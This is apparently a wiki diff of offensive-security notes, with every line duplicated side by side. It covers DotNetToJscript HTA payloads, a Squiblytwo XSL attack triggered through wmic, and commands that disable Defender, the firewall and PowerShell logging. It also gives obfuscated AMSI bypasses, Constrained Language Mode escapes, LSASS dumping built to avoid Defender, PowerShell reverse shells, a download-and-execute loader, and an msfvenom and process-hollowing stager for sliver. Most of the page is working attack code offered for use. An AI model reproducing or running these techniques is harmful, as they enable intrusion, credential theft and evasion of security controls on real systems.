var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+ | var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+ | ||
"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+ | "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+ | ||
"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+ | "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+ | ||
....."; | ....."; | ||
var entry_class = 'TestClass'; | var entry_class = 'TestClass'; | ||
try { | try { | ||
setversion(); | setversion(); | ||
| Line 741: | Line 470: | ||
al.Add(undefined); | al.Add(undefined); | ||
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class); | var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class); | ||
} catch (e) { | } catch (e) { | ||
debug(e.message); | debug(e.message); | ||
} | } | ||
self.close(); | self.close(); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Step 4 - Host this on your Kali using apache2 or python. | Step 4 - Host this on your Kali using apache2 or python. | ||
Step 5 - On target there are a couple of ways to execute it. Either using shortcut as you see below. | Step 5 - On target there are a couple of ways to execute it. Either using shortcut as you see below. | ||
Or using the command: | Or using the command: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
C:\windows\system32\mshta.exe http://kali-ip/index.hta | C:\windows\system32\mshta.exe http://kali-ip/index.hta | ||
</syntaxhighlight> | </syntaxhighlight> | ||
or visiting the website using Internet Explorer. Using another browser will end up downloading the <code>.hta</code> file and not executing it. | or visiting the website using Internet Explorer. Using another browser will end up downloading the <code>.hta</code> file and not executing it. | ||
[[File:2023-09-image-6.png|thumb]] | [[File:2023-09-image-6.png|thumb]] | ||
=== XLS Transform === | === XLS Transform === | ||
* '''Purpose''': Bypassing application whitelisting, such as AppLocker, to achieve arbitrary Jscript execution using XSL transformation. | * '''Purpose''': Bypassing application whitelisting, such as AppLocker, to achieve arbitrary Jscript execution using XSL transformation. | ||
* '''Known As''': Squiblytwo attack (see [https://attack.mitre.org/techniques/T1220/ Mitre T1220]). | * '''Known As''': Squiblytwo attack (see [https://attack.mitre.org/techniques/T1220/ Mitre T1220]). | ||
* '''Basic Principle''': XSLT uses .xsl documents to transform an XML document into different formats like XHTML. It allows execution of embedded Jscript code when processing an XML document. | * '''Basic Principle''': XSLT uses .xsl documents to transform an XML document into different formats like XHTML. It allows execution of embedded Jscript code when processing an XML document. | ||
'''Step 1 - Craft a Malicious XSL Document''': | '''Step 1 - Craft a Malicious XSL Document''': | ||
* Create a malicious XSL file containing the Jscript payload you want to execute. | * Create a malicious XSL file containing the Jscript payload you want to execute. | ||
<syntaxhighlight lang="xml"> | <syntaxhighlight lang="xml"> | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* '''Note''': This XSL file will open cmd.exe when triggered. | * '''Note''': This XSL file will open cmd.exe when triggered. | ||
'''Step 2 - Host the Malicious XSL Document''': | '''Step 2 - Host the Malicious XSL Document''': | ||
* Host the file on an Apache webserver or Python HTTP server. | * Host the file on an Apache webserver or Python HTTP server. | ||
'''Step 3 - Trigger the Payload''': | '''Step 3 - Trigger the Payload''': | ||
* Use WMIC (Windows Management Instrumentation Command-line) to trigger the Jscript code in the XSL file. | * Use WMIC (Windows Management Instrumentation Command-line) to trigger the Jscript code in the XSL file. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
wmic process get brief /format:"http://192.168.119.120/test.xsl" | wmic process get brief /format:"http://192.168.119.120/test.xsl" | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* A new command prompt should open. | * A new command prompt should open. | ||
'''Getting Meterpreter shell ''' | '''Getting Meterpreter shell ''' | ||
'''Step 1 - Edit the <code>.xsl</code> file ''' | '''Step 1 - Edit the <code>.xsl</code> file ''' | ||
Between these lines you can add your jscript code thats outputted from DotNetToJscript. Use ProcessHollowing with XOR for low detection rate | Between these lines you can add your jscript code thats outputted from DotNetToJscript. Use ProcessHollowing with XOR for low detection rate | ||
<syntaxhighlight lang="xml"> | <syntaxhighlight lang="xml"> | ||
</syntaxhighlight> | </syntaxhighlight> | ||
The entire code will look like this. | The entire code will look like this. | ||
<syntaxhighlight lang="xml"> | <syntaxhighlight lang="xml"> | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''Step 3 - Host the <code>.xsl</code> on your kali and run the follow command on target''' | '''Step 3 - Host the <code>.xsl</code> on your kali and run the follow command on target''' | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
wmic process get brief /format:"http://192.168.119.120/test.xsl" | wmic process get brief /format:"http://192.168.119.120/test.xsl" | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:2023-09-image-8.png|thumb]] | [[File:2023-09-image-8.png|thumb]] | ||
== AV Evasion - General == | == AV Evasion - General == | ||
https://book.ghanim.no/?p=2698#General_AV_Evasion_cheatsheet | https://book.ghanim.no/?p=2698#General_AV_Evasion_cheatsheet | ||
=== Check AV – Running, Exclusion, Disable === | === Check AV – Running, Exclusion, Disable === | ||
* Check if Windows Defender is running: <code>Get-MpComputerStatus | Select RealTimeProtectionEnabled</code> | * Check if Windows Defender is running: <code>Get-MpComputerStatus | Select RealTimeProtectionEnabled</code> | ||
* Get info about Windows Defender: <code>Get-MpPreference</code> | * Get info about Windows Defender: <code>Get-MpPreference</code> | ||
* Find excluded folders from Windows Defender: <code>Get-MpPreference | select Exclusion*</code> | * Find excluded folders from Windows Defender: <code>Get-MpPreference | select Exclusion*</code> | ||
* Create exclusion: <code>Set-MpPreference -ExclusionPath "<path>"</code> | * Create exclusion: <code>Set-MpPreference -ExclusionPath "<path>"</code> | ||
* Check AV detections: <code>Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime</code> | * Check AV detections: <code>Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime</code> | ||
* Get last AV detection: <code>Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1</code> | * Get last AV detection: <code>Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1</code> | ||
* Disable AV monitoring: <code>Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true</code> | * Disable AV monitoring: <code>Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true</code> | ||
* Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1 | * Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1 | ||
* Enumerate AV / EDR: https://github.com/tothi/serviceDetector | * Enumerate AV / EDR: https://github.com/tothi/serviceDetector | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
// What AV is running on the system | // What AV is running on the system | ||
// Importing necessary namespaces | // Importing necessary namespaces | ||
using System; | using System; | ||
using System.Management; | using System.Management; | ||
internal class Program | internal class Program | ||
{ | { | ||
| Line 918: | Line 588: | ||
var status = false; // Variable to track the presence of antivirus software | var status = false; // Variable to track the presence of antivirus software | ||
Console.WriteLine("[+] Antivirus check is running .. "); | Console.WriteLine("[+] Antivirus check is running .. "); | ||
// Array of antivirus processes to check for | // Array of antivirus processes to check for | ||
string[] AV_Check = { | string[] AV_Check = { | ||
| Line 926: | Line 595: | ||
"SavService.exe", "EnterpriseService.exe", "WRSA.exe", "ZAPrivacyService.exe" | "SavService.exe", "EnterpriseService.exe", "WRSA.exe", "ZAPrivacyService.exe" | ||
}; | }; | ||
// Creating a ManagementObjectSearcher to query Windows processes | // Creating a ManagementObjectSearcher to query Windows processes | ||
var searcher = new ManagementObjectSearcher("select * from win32_process"); | var searcher = new ManagementObjectSearcher("select * from win32_process"); | ||
var processList = searcher.Get(); // Retrieving the list of processes | var processList = searcher.Get(); // Retrieving the list of processes | ||
int i = 0; | int i = 0; | ||
foreach (var process in processList) | foreach (var process in processList) | ||
| Line 944: | Line 611: | ||
i++; | i++; | ||
} | } | ||
// Checking the status variable to determine if antivirus software was found or not | // Checking the status variable to determine if antivirus software was found or not | ||
if (!status) | if (!status) | ||
| Line 952: | Line 618: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Windows Firewall === | === Windows Firewall === | ||
* Get state: <code>Get-NetFirewallProfile -PolicyStore ActiveStore</code> | * Get state: <code>Get-NetFirewallProfile -PolicyStore ActiveStore</code> | ||
* Get rules: <code>Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize</code> | * Get rules: <code>Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize</code> | ||
* Disable firewall: <code>Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False</code> | * Disable firewall: <code>Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False</code> | ||
* Enable firewall: <code>Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True</code> | * Enable firewall: <code>Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True</code> | ||
* Change default policy: <code>Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow</code> | * Change default policy: <code>Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow</code> | ||
* Open port on firewall: <code>netsh advfirewall firewall add rule name="Allow port" dir=in action=allow protocol=TCP localport=<PORT></code> | * Open port on firewall: <code>netsh advfirewall firewall add rule name="Allow port" dir=in action=allow protocol=TCP localport=<PORT></code> | ||
* Remove firewall rule: <code>Remove-NetFirewallRule -DisplayName "Allow port"</code> | * Remove firewall rule: <code>Remove-NetFirewallRule -DisplayName "Allow port"</code> | ||
=== Powershell – ASMI bypass methods, Disable AV, etc === | === Powershell – ASMI bypass methods, Disable AV, etc === | ||
[https://amsi.fail/ AMSI.fail] | [https://amsi.fail/ AMSI.fail] | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 990: | Line 644: | ||
led','NonPublic,Static').SetValue($null,$true) | led','NonPublic,Static').SetValue($null,$true) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== AMSI Bypass ==== | ==== AMSI Bypass ==== | ||
* Start 64 bit powershell: <code>%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe</code> | * Start 64 bit powershell: <code>%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe</code> | ||
* Change execution policy: <code>Set-ExecutionPolicy Bypass</code> or <code>-ExecutionPolicy Bypass</code> | * Change execution policy: <code>Set-ExecutionPolicy Bypass</code> or <code>-ExecutionPolicy Bypass</code> | ||
* Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses: | * Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses: | ||
'''If patched, just change up the strings/variables.''' | '''If patched, just change up the strings/variables.''' | ||
Single-line bypasses: | Single-line bypasses: | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
$A=\"5492868772801748688168747280728187173688878280688776\" $B=\"8281173680867656877679866880867644817687416876797271\" function C ($n, $m) { [string] ($n..$m|% { [char] [int] (29+ ($A+$B). substring ( ($_*2),2))})-replace \" \"} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,'NonPublic,Static').SetValue ($null,$true) | $A=\"5492868772801748688168747280728187173688878280688776\" $B=\"8281173680867656877679866880867644817687416876797271\" function C ($n, $m) { [string] ($n..$m|% { [char] [int] (29+ ($A+$B). substring ( ($_*2),2))})-replace \" \"} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,'NonPublic,Static').SetValue ($null,$true) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Multi-line bypass: | Multi-line bypass: | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
| Line 1,024: | Line 668: | ||
$field = $assembly.GetField ( ('a {0}iInitFailed' -f $b),'NonPublic,Static') | $field = $assembly.GetField ( ('a {0}iInitFailed' -f $b),'NonPublic,Static') | ||
$field.SetValue ($null,$true) | $field.SetValue ($null,$true) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Single-line bypasses: | Single-line bypasses: | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} ) | S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} ) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Credit: [https://buaq.net/go-98295.html https://buaq.net/go-98295.html] | Credit: [https://buaq.net/go-98295.html https://buaq.net/go-98295.html] | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true) | [Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Credit: [https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification] (however, I think it’s originally from Matt Graeber) | Credit: [https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification] (however, I think it’s originally from Matt Graeber) | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(("{5}{2}{0}{1}{3}{6}{4}" -f 'ut',('oma'+'t'+'ion.'),'.A',('Ams'+'iUt'),'ls',('S'+'ystem.'+'Manage'+'men'+'t'),'i')).GetField(("{1}{2}{0}" -f ('Co'+'n'+'text'),('am'+'s'),'i'),[Reflection.BindingFlags]("{4}{2}{3}{0}{1}" -f('b'+'lic,Sta'+'ti'),'c','P','u',('N'+'on'))).GetValue($null),0x41414141) | [Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(("{5}{2}{0}{1}{3}{6}{4}" -f 'ut',('oma'+'t'+'ion.'),'.A',('Ams'+'iUt'),'ls',('S'+'ystem.'+'Manage'+'men'+'t'),'i')).GetField(("{1}{2}{0}" -f ('Co'+'n'+'text'),('am'+'s'),'i'),[Reflection.BindingFlags]("{4}{2}{3}{0}{1}" -f('b'+'lic,Sta'+'ti'),'c','P','u',('N'+'on'))).GetValue($null),0x41414141) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Credit: [https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html] | Credit: [https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html] | ||
==== Bypass CLM (Constrained Language Mode) ==== | ==== Bypass CLM (Constrained Language Mode) ==== | ||
Escapes for Constrained Language Mode: | Escapes for Constrained Language Mode: | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
| Line 1,069: | Line 699: | ||
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode | [Runspace]::DefaultRunspace.InitialSessionState.LanguageMode | ||
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode | [Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode | ||
# Escape 2 | # Escape 2 | ||
$ExecutionContext.SessionState.LanguageMode = "FullLanguage" | $ExecutionContext.SessionState.LanguageMode = "FullLanguage" | ||
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = "FullLanguage" | [Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = "FullLanguage" | ||
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = "FullLanguage" | [Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = "FullLanguage" | ||
# Escape 3 | # Escape 3 | ||
$ExecutionContext.SessionState.LanguageMode | $ExecutionContext.SessionState.LanguageMode | ||
$ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage) | $ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage) | ||
$ExecutionContext.SessionState.LanguageMode | $ExecutionContext.SessionState.LanguageMode | ||
# Escape 4 | # Escape 4 | ||
$ExecutionContext.SessionState.LanguageMode | $ExecutionContext.SessionState.LanguageMode | ||
$ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,1) | $ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,1) | ||
$ExecutionContext.SessionState.LanguageMode | $ExecutionContext.SessionState.LanguageMode | ||
# Escape 5 | # Escape 5 | ||
$ExecutionContext.SessionState.LanguageMode | $ExecutionContext.SessionState.LanguageMode | ||
[Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage) | [Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage) | ||
$ExecutionContext.SessionState.LanguageMode | $ExecutionContext.SessionState.LanguageMode | ||
# Escape 6 | # Escape 6 | ||
$ExecutionContext.SessionState.LanguageMode | $ExecutionContext.SessionState.LanguageMode | ||
[Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,1) | [Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,1) | ||
$ExecutionContext.SessionState.LanguageMode | $ExecutionContext.SessionState.LanguageMode | ||
# Escape 7 | # Escape 7 | ||
$ExecutionContext.SessionState.LanguageMode | $ExecutionContext.SessionState.LanguageMode | ||
| Line 1,104: | Line 728: | ||
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedCommands','NonPublic,Static').Add('*') | [Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedCommands','NonPublic,Static').Add('*') | ||
$ExecutionContext.SessionState.LanguageMode | $ExecutionContext.SessionState.LanguageMode | ||
# Escape 8 | # Escape 8 | ||
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()} | function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()} | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Bypass logging ==== | ==== Bypass logging ==== | ||
Logging evasion techniques: | Logging evasion techniques: | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
| Line 1,121: | Line 740: | ||
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force | Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force | ||
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force | Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force | ||
# Technique 2: Disable Transcription Logging and Module Logging | # Technique 2: Disable Transcription Logging and Module Logging | ||
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force | Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force | ||
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force | Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force | ||
# Technique 3: Delete the log files from the system (requires admin privileges) | # Technique 3: Delete the log files from the system (requires admin privileges) | ||
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force | Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force | ||
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force | Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force | ||
# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher) | # Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher) | ||
Invoke-Expression "IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')" | Invoke-Expression "IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')" | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Disable MS Defender (Require elevation) ==== | ==== Disable MS Defender (Require elevation) ==== | ||
Turning off Windows Defender: | Turning off Windows Defender: | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
| Line 1,147: | Line 760: | ||
Set-MPPreference -DisableIntrusionPreventionSystem $true | Set-MPPreference -DisableIntrusionPreventionSystem $true | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Add folder exclusion ==== | ==== Add folder exclusion ==== | ||
Adding a folder exclusion <code>Add-MpPreference -ExclusionPath "C:\temp"</code> | Adding a folder exclusion <code>Add-MpPreference -ExclusionPath "C:\temp"</code> | ||
Checking exclusions | Checking exclusions | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
Get-MpPreference | Select-Object -Property ExclusionPath | Get-MpPreference | Select-Object -Property ExclusionPath | ||
ExclusionPath | ExclusionPath | ||
------------- | ------------- | ||
{C:\temp} | {C:\temp} | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== LSASS dumping without triggering Defender ==== | ==== LSASS dumping without triggering Defender ==== | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
| Line 1,183: | Line 789: | ||
$F.Close() | $F.Close() | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Reverse Shells ==== | ==== Reverse Shells ==== | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
| Line 1,207: | Line 811: | ||
$replace.Flush()}; | $replace.Flush()}; | ||
$BT.Close() | $BT.Close() | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt) | Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt) | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
| Line 1,230: | Line 831: | ||
$SS.Flush()}; | $SS.Flush()}; | ||
$J.Close() | $J.Close() | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt) | Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt) | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
| Line 1,252: | Line 850: | ||
$I.Flush()}; | $I.Flush()}; | ||
$c.Close() | $c.Close() | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt) | Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt) | ||
Reverse PowerShell: | Reverse PowerShell: | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
| Line 1,281: | Line 875: | ||
}While ($true); | }While ($true); | ||
$writer.close();$socket.close(); | $writer.close();$socket.close(); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== PowerShell Download payload ==== | ==== PowerShell Download payload ==== | ||
WebClient DownloadData [http://x.x.x.x/file.exe http://x.x.x.x/file.exe] method: | WebClient DownloadData [http://x.x.x.x/file.exe http://x.x.x.x/file.exe] method: | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
| Line 1,297: | Line 887: | ||
$main = [Shell].getmethod("Main", $BindingFlags) | $main = [Shell].getmethod("Main", $BindingFlags) | ||
$main.Invoke($null, $null) | $main.Invoke($null, $null) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Tools that may help with AV Evasion: | Tools that may help with AV Evasion: | ||
* [https://github.com/phra/PEzor https://github.com/phra/PEzor] | * [https://github.com/phra/PEzor https://github.com/phra/PEzor] | ||
* [https://github.com/bats3c/darkarmour https://github.com/bats3c/darkarmour] | * [https://github.com/bats3c/darkarmour https://github.com/bats3c/darkarmour] | ||
* [https://github.com/loadenmb/tvasion https://github.com/loadenmb/tvasion] | * [https://github.com/loadenmb/tvasion https://github.com/loadenmb/tvasion] | ||
== C2 Frameworks == | == C2 Frameworks == | ||
[https://book.ghanim.no/?p=2476 Command And Control – C2 Framework – BOOK_GHANIM] | [https://book.ghanim.no/?p=2476 Command And Control – C2 Framework – BOOK_GHANIM] | ||
=== Bypassing defender with sliver and staged process hollowing === | === Bypassing defender with sliver and staged process hollowing === | ||
I was able to bypass Windows Defender on a fully patched Windows 10 (12.12.2023) using process hollowing and sliver with shellcode generated by msfvenom. | I was able to bypass Windows Defender on a fully patched Windows 10 (12.12.2023) using process hollowing and sliver with shellcode generated by msfvenom. | ||
This is a two staged exectution. The first stage will get our stager for sliver and inject it to svchost using process hollowing. The next stage is sliver executing our implant on the target. | This is a two staged exectution. The first stage will get our stager for sliver and inject it to svchost using process hollowing. The next stage is sliver executing our implant on the target. | ||
Ps. I was able to bypass defender on Windows 11, however I had to run it through ConfuserEX and enable InsecureGuestAuth. Implementing an authentication method for SMB in the process hollowing code would've helped us circumvent guest access blocking. | Ps. I was able to bypass defender on Windows 11, however I had to run it through ConfuserEX and enable InsecureGuestAuth. Implementing an authentication method for SMB in the process hollowing code would've helped us circumvent guest access blocking. | ||
First generate a shellcode using msfvenom. | First generate a shellcode using msfvenom. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.1.38 LPORT=1234 LURI=/hello.woff -f raw -o stager.bin | msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.1.38 LPORT=1234 LURI=/hello.woff -f raw -o stager.bin | ||
</syntaxhighlight> | </syntaxhighlight> | ||
We will use a technique called process hollowing and place our shellcode in svchosts.exe. The shellcode will be hosted on my kali using smbserver. | We will use a technique called process hollowing and place our shellcode in svchosts.exe. The shellcode will be hosted on my kali using smbserver. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 1,348: | Line 923: | ||
IntPtr processHandle, threadHandle; | IntPtr processHandle, threadHandle; | ||
